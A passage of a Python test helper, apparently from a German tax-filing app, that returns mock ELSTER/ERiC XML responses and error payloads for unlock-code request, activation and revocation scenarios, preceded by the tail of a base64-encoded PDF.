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UgMDAwMDAgbg0KMDAwMDAwMDA2NCAwMDAwMCBuDQowMDAwMDAwMTMwIDAwMDAwIG4NCjAwMDAwMDAxOTQgMDAwMDAgbg0KMDAwMDAwMDM5MSAwMDAwMCBuDQowMDAwMDAxOTY4IDAwMDAwIG4NCjAwMDAwMDE5ODggMDAwMDAgbg0KMDAwMDAwMjE0MSAwMDAwMCBuDQowMDAwMDAyNzMyIDAwMDAwIG4NCjAwMDAwMDI3NTEgMDAwMDAgbg0KMDAwMDAwNTY5NyAwMDAwMCBuDQowMDAwMDA3MDMzIDAwMDAwIG4NCjAwMDAwMDcwNTQgMDAwMDAgbg0KMDAwMDAwNzIwNyAwMDAwMCBuDQowMDAwMDA3ODAwIDAwMDAwIG4NCjAwMDAwMDc4MjAgMDAwMDAgbg0KMDAwMDAxMDc2NCAwMDAwMCBuDQowMDAwMDEyMTAwIDAwMDAwIG4NCjAwMDAwMTIxMjEgMDAwMDAgbg0KMDAwMDAxMjMyMCAwMDAwMCBuDQowMDAwMDE0NjI3IDAwMDAwIG4NCjAwMDAwMTQ2NDggMDAwMDAgbg0KMDAwMDAyNjYzMSAwMDAwMCBuDQowMDAwMDI2NjUzIDAwMDAwIG4NCjAwMDAwMjY4NjIgMDAwMDAgbg0KMDAwMDA0MDM3NSAwMDAwMCBuDQowMDAwMDQwMzk3IDAwMDAwIG4NCnRyYWlsZXIKPDwKL1Jvb3QgMSAwIFIKL0luZm8gMyAwIFIKL1NpemUgMjgKPj4Kc3RhcnR4cmVmCjQwNjAwCiUlRU9GCg==",
"eric_response": "<?xml version=\"1.0\" ?>\n<EricBearbeiteVorgang xmlns=\"http://www.elster.de/EricXML/1.0/EricBearbeiteVorgang\">\n \n\t\n <Erfolg>\n \n\t\t\n <Telenummer>EDJ</Telenummer>\n \n\t\n </Erfolg>\n \n\n</EricBearbeiteVorgang>\n",
"server_response": "<?xml version=\"1.0\" ?>\n<Elster xmlns=\"http://www.elster.de/elsterxml/schema/v11\">\n <TransferHeader version=\"11\">\n <Verfahren>ElsterErklaerung</Verfahren>\n <DatenArt>ESt</DatenArt>\n <Vorgang>send-Auth</Vorgang>\n <TransferTicket>et036422myggf53jxax8uy92dmvkete8</TransferTicket>\n <Testmerker>700000004</Testmerker>\n <Empfaenger id=\"L\">\n <Ziel>BY</Ziel>\n </Empfaenger>\n <HerstellerID>74931</HerstellerID>\n <DatenLieferant>MIAGCSqGSIb3DQEHBqCAMIACAQAwgAYJKoZIhvcNAQcBMBQGCCqGSIb3DQMHBAj/+g5OKVYn7aCA\nBCguKhpqGRSbN6vtZxZIeR+1MtyAS4q+BcPXb/MpGykjQeOarebvRyynAAAAAAAAAAAAAA==\n</DatenLieferant>\n <EingangsDatum>20210205093700</EingangsDatum>\n <Datei>\n <Verschluesselung>CMSEncryptedData</Verschluesselung>\n <Kompression>GZIP</Kompression>\n <TransportSchluessel>MIAGCSqGSIb3DQEHBqCAMIACAQAwgAYJKoZIhvcNAQcBMBQGCCqGSIb3DQMHBAghtUn/FSBKxaCA\nBBg+pdzZNZgnU9zegwn8OVJcvV2ye7gr6ZAAAAAAAAAAAAAA\n</TransportSchluessel>\n </Datei>\n <RC>\n <Rueckgabe>\n <Code>0</Code>\n <Text>Daten wurden erfolgreich angenommen.</Text>\n </Rueckgabe>\n <Stack>\n <Code/>\n <Text/>\n </Stack>\n </RC>\n <VersionClient>1</VersionClient>\n </TransferHeader>\n <DatenTeil/>\n</Elster>\n"
}
if keyword == 'eric_process_error':
return {
'detail': {
'code': -1,
'message': 'An error occurred',
'description': 'There has been an error communicating with Elster.'
}
}
if keyword == 'transfer_error_with_resp':
return {
'detail': {
'code': 4,
'message': 'A transfer error occurred',
'description': 'There has been an error communicating with Elster.',
'eric_response': '',
'server_response': "<?xml version=\"1.0\" encoding=\"UTF-8\"?><Elster xmlns=\"http://www.elster.de/elsterxml/schema/v11\"><TransferHeader version=\"11\"><Verfahren>ElsterBRM</Verfahren><DatenArt>SpezRechtAntrag</DatenArt><Vorgang>send-Auth</Vorgang><TransferTicket>et0842wei6d1xp417fahimp27udm3b4i</TransferTicket><Testmerker>370000001</Testmerker><Empfaenger id=\"L\"><Ziel>CS</Ziel></Empfaenger><HerstellerID>74931</HerstellerID><DatenLieferant>MIAGCSqGSIb3DQEHBqCAMIACAQAwgAYJKoZIhvcNAQcBMBQGCCqGSIb3DQMHBAj6N+H9I1T426CA\r\nBChdZYOq7dWH4C9vjzucS+AibZaayAYDMzSpCK8J4ImRCpIXvaIDL0RvAAAAAAAAAAAAAA==\r\n</DatenLieferant><EingangsDatum>20210325223314</EingangsDatum><Datei><Verschluesselung>CMSEncryptedData</Verschluesselung><Kompression>GZIP</Kompression><TransportSchluessel>MIAGCSqGSIb3DQEHBqCAMIACAQAwgAYJKoZIhvcNAQcBMBQGCCqGSIb3DQMHBAi5826z7DhV56CA\r\nBBj7VgowDsAONtGoS7V1vo5jsvz/BRn5+y8AAAAAAAAAAAAA\r\n</TransportSchluessel></Datei><RC><Rueckgabe><Code>0</Code><Text>OK</Text></Rueckgabe><Stack><Code>0</Code><Text></Text></Stack></RC><VersionClient>1</VersionClient><Zusatz><Info>CorrelationID:4cf04cce-37fe-4947-a432-10d13fa86888</Info></Zusatz></TransferHeader><DatenTeil><Nutzdatenblock><NutzdatenHeader version=\"11\"><NutzdatenTicket>1</NutzdatenTicket><Empfaenger id=\"L\">CS</Empfaenger><RC><Rueckgabe><Code>371015223</Code><Text>Die Antragspr\xc3\xbcfung ist fehlgeschlagen. Es besteht bereits ein offener Antrag auf Erteilung einer Berechtigung zum Datenabruf f\xc3\xbcr diesen Dateninhaber.</Text></Rueckgabe><Stack><Code>371015223</Code><Text></Text></Stack></RC></NutzdatenHeader><Nutzdaten>\n <SpezRechtAntrag version=\"3\">\n <DateninhaberIdNr>04452317681</DateninhaberIdNr>\n <DateninhaberGeburtstag>1985-01-01</DateninhaberGeburtstag>\n <Recht>AbrufEBelege</Recht>\n <GueltigBis>2224-12-31</GueltigBis>\n <DatenabruferMail>steuerlotse_testing@4germany.org</DatenabruferMail>\n <Veranlagungszeitraum>\n <Unbeschraenkt>true</Unbeschraenkt>\n </Veranlagungszeitraum>\n </SpezRechtAntrag>\n </Nutzdaten></Nutzdatenblock></DatenTeil></Elster>"
}
}
if keyword == 'transfer_error_no_resp':
return {
'detail': {
'code': 4,
'message': 'A transfer error occurred',
'description': 'There has been an error communicating with Elster.',
}
}
if keyword == 'validation_invalid_year':
return {
"detail": [
{
"loc": [
"body",
"meta_data",
"year"
],
"msg": "must be a supported year",
"type": "value_error"
}
]
}
if keyword == 'validation_error_with_resp':
return {
'detail': {
'code': 2,
'message': 'Validierungsfehler',
'description': 'Beim Validieren sind Fehler aufgetreten. Die genauen Probleme finden sich in '
'validation_problems', 'server_response': '',
'eric_response': '<?xml version="1.0" encoding="UTF-8"?>\r\n<EricBearbeiteVorgang xmlns="http://www.elster.de/EricXML/1.0/EricBearbeiteVorgang">\r\n\t<FehlerRegelpruefung>\r\n\t\t<Nutzdatenticket>default_nutzdaten_ticket</Nutzdatenticket>\r\n\t\t<Feldidentifikator>/ESt1A[1]/Allg[1]/A[1]/E0100401[1]</Feldidentifikator>\r\n\t\t<Mehrfachzeilenindex>1</Mehrfachzeilenindex>\r\n\t\t<LfdNrVordruck>1</LfdNrVordruck>\r\n\t\t<RegelName>/ESt1A/Allg/A/AngabenSteuerpflichtigePerson_4</RegelName>\r\n\t\t<FachlicheFehlerId>21</FachlicheFehlerId>\r\n\t\t<Text>Das Geburtsjahr liegt nach dem Veranlagungszeitraum (steuerpflichtige Person / Ehemann / Person A).</Text>\r\n\t</FehlerRegelpruefung>\r\n</EricBearbeiteVorgang>',
'validation_problems': [
"Das Geburtsjahr liegt nach dem Veranlagungszeitraum (steuerpflichtige Person / Ehemann / Person A)."
]
}
}
if keyword == 'validation_error_no_resp':
return {
'detail': {
'code': 2,
'message': 'Validierungsfehler',
'description': 'Beim Validieren sind Fehler aufgetreten. Die genauen Probleme finden sich in '
'validation_problems', 'server_response': '',
'validation_problems': [
"Das Geburtsjahr liegt nach dem Veranlagungszeitraum (steuerpflichtige Person / Ehemann / Person A)."
]
}
}
if keyword == 'already_requested_error_with_resp':
return {
"detail": {
"code": 9,
"message": "ALREADY_OPEN_UNLOCK_CODE_REQUEST",
"description": "Es besteht bereits ein offener Antrag auf Erteilung einer Berechtigung zum "
"Datenabruf",
"eric_response": '',
"server_response": "<?xml version=\"1.0\" encoding=\"UTF-8\"?><Elster xmlns=\"http://www.elster.de/elsterxml/schema/v11\"><TransferHeader version=\"11\"><Verfahren>ElsterBRM</Verfahren><DatenArt>SpezRechtAntrag</DatenArt><Vorgang>send-Auth</Vorgang><TransferTicket>et0842wei6d1xp417fahimp27udm3b4i</TransferTicket><Testmerker>370000001</Testmerker><Empfaenger id=\"L\"><Ziel>CS</Ziel></Empfaenger><HerstellerID>74931</HerstellerID><DatenLieferant>MIAGCSqGSIb3DQEHBqCAMIACAQAwgAYJKoZIhvcNAQcBMBQGCCqGSIb3DQMHBAj6N+H9I1T426CA\r\nBChdZYOq7dWH4C9vjzucS+AibZaayAYDMzSpCK8J4ImRCpIXvaIDL0RvAAAAAAAAAAAAAA==\r\n</DatenLieferant><EingangsDatum>20210325223314</EingangsDatum><Datei><Verschluesselung>CMSEncryptedData</Verschluesselung><Kompression>GZIP</Kompression><TransportSchluessel>MIAGCSqGSIb3DQEHBqCAMIACAQAwgAYJKoZIhvcNAQcBMBQGCCqGSIb3DQMHBAi5826z7DhV56CA\r\nBBj7VgowDsAONtGoS7V1vo5jsvz/BRn5+y8AAAAAAAAAAAAA\r\n</TransportSchluessel></Datei><RC><Rueckgabe><Code>0</Code><Text>OK</Text></Rueckgabe><Stack><Code>0</Code><Text></Text></Stack></RC><VersionClient>1</VersionClient><Zusatz><Info>CorrelationID:4cf04cce-37fe-4947-a432-10d13fa86888</Info></Zusatz></TransferHeader><DatenTeil><Nutzdatenblock><NutzdatenHeader version=\"11\"><NutzdatenTicket>1</NutzdatenTicket><Empfaenger id=\"L\">CS</Empfaenger><RC><Rueckgabe><Code>371015223</Code><Text>Die Antragspr\xc3\xbcfung ist fehlgeschlagen. Es besteht bereits ein offener Antrag auf Erteilung einer Berechtigung zum Datenabruf f\xc3\xbcr diesen Dateninhaber.</Text></Rueckgabe><Stack><Code>371015223</Code><Text></Text></Stack></RC></NutzdatenHeader><Nutzdaten>\n <SpezRechtAntrag version=\"3\">\n <DateninhaberIdNr>04452317681</DateninhaberIdNr>\n <DateninhaberGeburtstag>1985-01-01</DateninhaberGeburtstag>\n <Recht>AbrufEBelege</Recht>\n <GueltigBis>2224-12-31</GueltigBis>\n <DatenabruferMail>steuerlotse_testing@4germany.org</DatenabruferMail>\n <Veranlagungszeitraum>\n <Unbeschraenkt>true</Unbeschraenkt>\n </Veranlagungszeitraum>\n </SpezRechtAntrag>\n </Nutzdaten></Nutzdatenblock></DatenTeil></Elster>"
}
}
if keyword == 'already_requested_error_no_resp':
return {
"detail": {
"code": 9,
"message": "ALREADY_OPEN_UNLOCK_CODE_REQUEST",
"description": "Es besteht bereits ein offener Antrag auf Erteilung einer Berechtigung zum "
"Datenabruf"
}
}
if keyword == 'request_id_not_found_with_resp':
return {
"detail": {
"code": 10,
"message": "ELSTER_REQUEST_ID_UNKNOWN",
"description": "The identifier does not have a representation in the stored data.",
"eric_response": "",
"server_response": "<?xml version=\"1.0\" encoding=\"UTF-8\"?><Elster xmlns=\"http://www.elster.de/elsterxml/schema/v11\"><TransferHeader version=\"11\"><Verfahren>ElsterBRM</Verfahren><DatenArt>SpezRechtFreischaltung</DatenArt><Vorgang>send-Auth</Vorgang><TransferTicket>et0845yncr02dw4izvwv7t126fvd7wtx</TransferTicket><Testmerker>370000001</Testmerker><Empfaenger id=\"L\"><Ziel>CS</Ziel></Empfaenger><HerstellerID>74931</HerstellerID><DatenLieferant>MIAGCSqGSIb3DQEHBqCAMIACAQAwgAYJKoZIhvcNAQcBMBQGCCqGSIb3DQMHBAjNhaSMR/RAaaCA\r\nBCi5kElVqR1lUMKV1rsXBg4p9qkdlrawtoi968egNs2UIrJjtMw4E6rFAAAAAAAAAAAAAA==\r\n</DatenLieferant><EingangsDatum>20210325223829</EingangsDatum><Datei><Verschluesselung>CMSEncryptedData</Verschluesselung><Kompression>GZIP</Kompression><TransportSchluessel>MIAGCSqGSIb3DQEHBqCAMIACAQAwgAYJKoZIhvcNAQcBMBQGCCqGSIb3DQMHBAiPR2BKbnOqUqCA\r\nBBjMELnYzTfb0SdUenvwOprE83BLg0yu8b0AAAAAAAAAAAAA\r\n</TransportSchluessel></Datei><RC><Rueckgabe><Code>0</Code><Text>OK</Text></Rueckgabe><Stack><Code>0</Code><Text></Text></Stack></RC><VersionClient>1</VersionClient><Zusatz><Info>CorrelationID:04db8cd6-2b18-48b5-b7fb-538853bbd729</Info></Zusatz></TransferHeader><DatenTeil><Nutzdatenblock><NutzdatenHeader version=\"11\"><NutzdatenTicket>1</NutzdatenTicket><Empfaenger id=\"L\">CS</Empfaenger><RC><Rueckgabe><Code>371015209</Code><Text>Ein passender offener Antrag existiert nicht.</Text></Rueckgabe><Stack><Code>371015209</Code><Text></Text></Stack></RC></NutzdatenHeader><Nutzdaten>\n <SpezRechtFreischaltung version=\"1\">\n <AntragsID>123</AntragsID>\n <Freischaltcode>DBNH-B8JS-9JE7</Freischaltcode>\n </SpezRechtFreischaltung>\n </Nutzdaten></Nutzdatenblock></DatenTeil></Elster>"
}
}
if keyword == 'request_id_not_found_no_resp':
return {
"detail": {
"code": 10,
"message": "ELSTER_REQUEST_ID_UNKNOWN",
"description": "The identifier does not have a representation in the stored data.",
}
}
if keyword == 'unlock_code_request_no_resp':
return {
"transfer_ticket": "et036422myggf53jxax8uy92dmvkete8",
'elster_request_id': elster_request_id,
'idnr': idnr
}
if keyword == 'unlock_code_request_with_resp':
return {
"transfer_ticket": "et036422myggf53jxax8uy92dmvkete8",
'elster_request_id': elster_request_id,
'idnr': idnr,
"eric_response": "<?xml version=\"1.0\" ?>\n<EricBearbeiteVorgang xmlns=\"http://www.elster.de/EricXML/1.0/EricBearbeiteVorgang\">\n \n\t\n <Erfolg>\n \n\t\t\n <Telenummer>EDJ</Telenummer>\n \n\t\n </Erfolg>\n \n\n</EricBearbeiteVorgang>\n",
"server_response": "<?xml version=\"1.0\" ?>\n<Elster xmlns=\"http://www.elster.de/elsterxml/schema/v11\">\n <TransferHeader version=\"11\">\n <Verfahren>ElsterErklaerung</Verfahren>\n <DatenArt>ESt</DatenArt>\n <Vorgang>send-Auth</Vorgang>\n <TransferTicket>et036422myggf53jxax8uy92dmvkete8</TransferTicket>\n <Testmerker>700000004</Testmerker>\n <Empfaenger id=\"L\">\n <Ziel>BY</Ziel>\n </Empfaenger>\n <HerstellerID>74931</HerstellerID>\n <DatenLieferant>MIAGCSqGSIb3DQEHBqCAMIACAQAwgAYJKoZIhvcNAQcBMBQGCCqGSIb3DQMHBAj/+g5OKVYn7aCA\nBCguKhpqGRSbN6vtZxZIeR+1MtyAS4q+BcPXb/MpGykjQeOarebvRyynAAAAAAAAAAAAAA==\n</DatenLieferant>\n <EingangsDatum>20210205093700</EingangsDatum>\n <Datei>\n <Verschluesselung>CMSEncryptedData</Verschluesselung>\n <Kompression>GZIP</Kompression>\n <TransportSchluessel>MIAGCSqGSIb3DQEHBqCAMIACAQAwgAYJKoZIhvcNAQcBMBQGCCqGSIb3DQMHBAghtUn/FSBKxaCA\nBBg+pdzZNZgnU9zegwn8OVJcvV2ye7gr6ZAAAAAAAAAAAAAA\n</TransportSchluessel>\n </Datei>\n <RC>\n <Rueckgabe>\n <Code>0</Code>\n <Text>Daten wurden erfolgreich angenommen.</Text>\n </Rueckgabe>\n <Stack>\n <Code/>\n <Text/>\n </Stack>\n </RC>\n <VersionClient>1</VersionClient>\n </TransferHeader>\n <DatenTeil/>\n</Elster>\n"
}
if keyword == 'unlock_code_activation_no_resp':
return {
"transfer_ticket": "et036422myggf53jxax8uy92dmvkete8",
'elster_request_id': elster_request_id,
'idnr': idnr
}
if keyword == 'unlock_code_activation_with_resp':
return {
"transfer_ticket": "et036422myggf53jxax8uy92dmvkete8",
'elster_request_id': elster_request_id,
'idnr': idnr,
"eric_response": "<?xml version=\"1.0\" ?>\n<EricBearbeiteVorgang xmlns=\"http://www.elster.de/EricXML/1.0/EricBearbeiteVorgang\">\n \n\t\n <Erfolg>\n \n\t\t\n <Telenummer>EDJ</Telenummer>\n \n\t\n </Erfolg>\n \n\n</EricBearbeiteVorgang>\n",
"server_response": "<?xml version=\"1.0\" ?>\n<Elster xmlns=\"http://www.elster.de/elsterxml/schema/v11\">\n <TransferHeader version=\"11\">\n <Verfahren>ElsterErklaerung</Verfahren>\n <DatenArt>ESt</DatenArt>\n <Vorgang>send-Auth</Vorgang>\n <TransferTicket>et036422myggf53jxax8uy92dmvkete8</TransferTicket>\n <Testmerker>700000004</Testmerker>\n <Empfaenger id=\"L\">\n <Ziel>BY</Ziel>\n </Empfaenger>\n <HerstellerID>74931</HerstellerID>\n <DatenLieferant>MIAGCSqGSIb3DQEHBqCAMIACAQAwgAYJKoZIhvcNAQcBMBQGCCqGSIb3DQMHBAj/+g5OKVYn7aCA\nBCguKhpqGRSbN6vtZxZIeR+1MtyAS4q+BcPXb/MpGykjQeOarebvRyynAAAAAAAAAAAAAA==\n</DatenLieferant>\n <EingangsDatum>20210205093700</EingangsDatum>\n <Datei>\n <Verschluesselung>CMSEncryptedData</Verschluesselung>\n <Kompression>GZIP</Kompression>\n <TransportSchluessel>MIAGCSqGSIb3DQEHBqCAMIACAQAwgAYJKoZIhvcNAQcBMBQGCCqGSIb3DQMHBAghtUn/FSBKxaCA\nBBg+pdzZNZgnU9zegwn8OVJcvV2ye7gr6ZAAAAAAAAAAAAAA\n</TransportSchluessel>\n </Datei>\n <RC>\n <Rueckgabe>\n <Code>0</Code>\n <Text>Daten wurden erfolgreich angenommen.</Text>\n </Rueckgabe>\n <Stack>\n <Code/>\n <Text/>\n </Stack>\n </RC>\n <VersionClient>1</VersionClient>\n </TransferHeader>\n <DatenTeil/>\n</Elster>\n"
}
if keyword == 'unlock_code_revocation_no_resp':
return {
"transfer_ticket": "et036422myggf53jxax8uy92dmvkete8",
"elster_request_id": elster_request_id,
}
if keyword == 'unlock_code_revocation_with_resp':
return {
"transfer_ticket": "et036422myggf53jxax8uy92dmvkete8",
"elster_request_id": elster_request_id,
"eric_response": "<?xml version=\"1.0\" ?>\n<EricBearbeiteVorgang xmlns=\"http://www.elster.de/EricXML/1.0/EricBearbeiteVorgang\">\n \n\t\n <Erfolg>\n \n\t\t\n <Telenummer>EDJ</Telenummer>\n \n\t\n </Erfolg>\n \n\n</EricBearbeiteVorgang>\n",
"server_response": "<?xml version=\"1.0\" ?>\n<Elster xmlns=\"http://www.elster.de/elsterxml/schema/v11\">\n <TransferHeader version=\"11\">\n <Verfahren>ElsterErklaerung</Verfahren>\n <DatenArt>ESt</DatenArt>\n <Vorgang>send-Auth</Vorgang>\n <TransferTicket>et036422myggf53jxax8uy92dmvkete8</TransferTicket>\n <Testmerker>700000004</Testmerker>\n <Empfaenger id=\"L\">\n <Ziel>BY</Ziel>\n </Empfaenger>\n <HerstellerID>74931</HerstellerID>\n <DatenLieferant>MIAGCSqGSIb3DQEHBqCAMIACAQAwgAYJKoZIhvcNAQcBMBQGCCqGSIb3DQMHBAj/+g5OKVYn7aCA\nBCguKhpqGRSbN6vtZxZIeR+1MtyAS4q+BcPXb/MpGykjQeOarebvRyynAAAAAAAAAAAAAA==\n</DatenLieferant>\n <EingangsDatum>20210205093700</EingangsDatum>\n <Datei>\n <Verschluesselung>CMSEncryptedData</Verschluesselung>\n <Kompression>GZIP</Kompression>\n <TransportSchluessel>MIAGCSqGSIb3DQEHBqCAMIACAQAwgAYJKoZIhvcNAQcBMBQGCCqGSIb3DQMHBAghtUn/FSBKxaCA\nBBg+pdzZNZgnU9zegwn8OVJcvV2ye7gr6ZAAAAAAAAAAAAAA\n</TransportSchluessel>\n </Datei>\n <RC>\n <Rueckgabe>\n <Code>0</Code>\n <Text>Daten wurden erfolgreich angenommen.</Text>\n </Rueckgabe>\n <Stack>\n <Code/>\n <Text/>\n </Stack>\n </RC>\n <VersionClient>1</VersionClient>\n </TransferHeader>\n <DatenTeil/>\n</Elster>\n"
}
if keyword == 'request_code_already_revoked':
return {
'detail': {
'code': 11,
'message': 'ERIC_TRANSFER_ERR_XML_NHEADER',
